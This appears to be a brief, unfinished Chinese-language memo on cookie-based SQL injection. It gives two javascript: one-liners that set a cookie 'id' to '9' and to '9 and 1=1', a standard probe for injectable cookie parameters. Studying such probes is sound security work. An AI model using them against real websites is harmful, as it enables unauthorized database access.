Cookie注入（未完）

javascript:alert(document.cookie="id="+escape("9"));

javascript:alert(document.cookie="id="+escape("9 and 1=1"));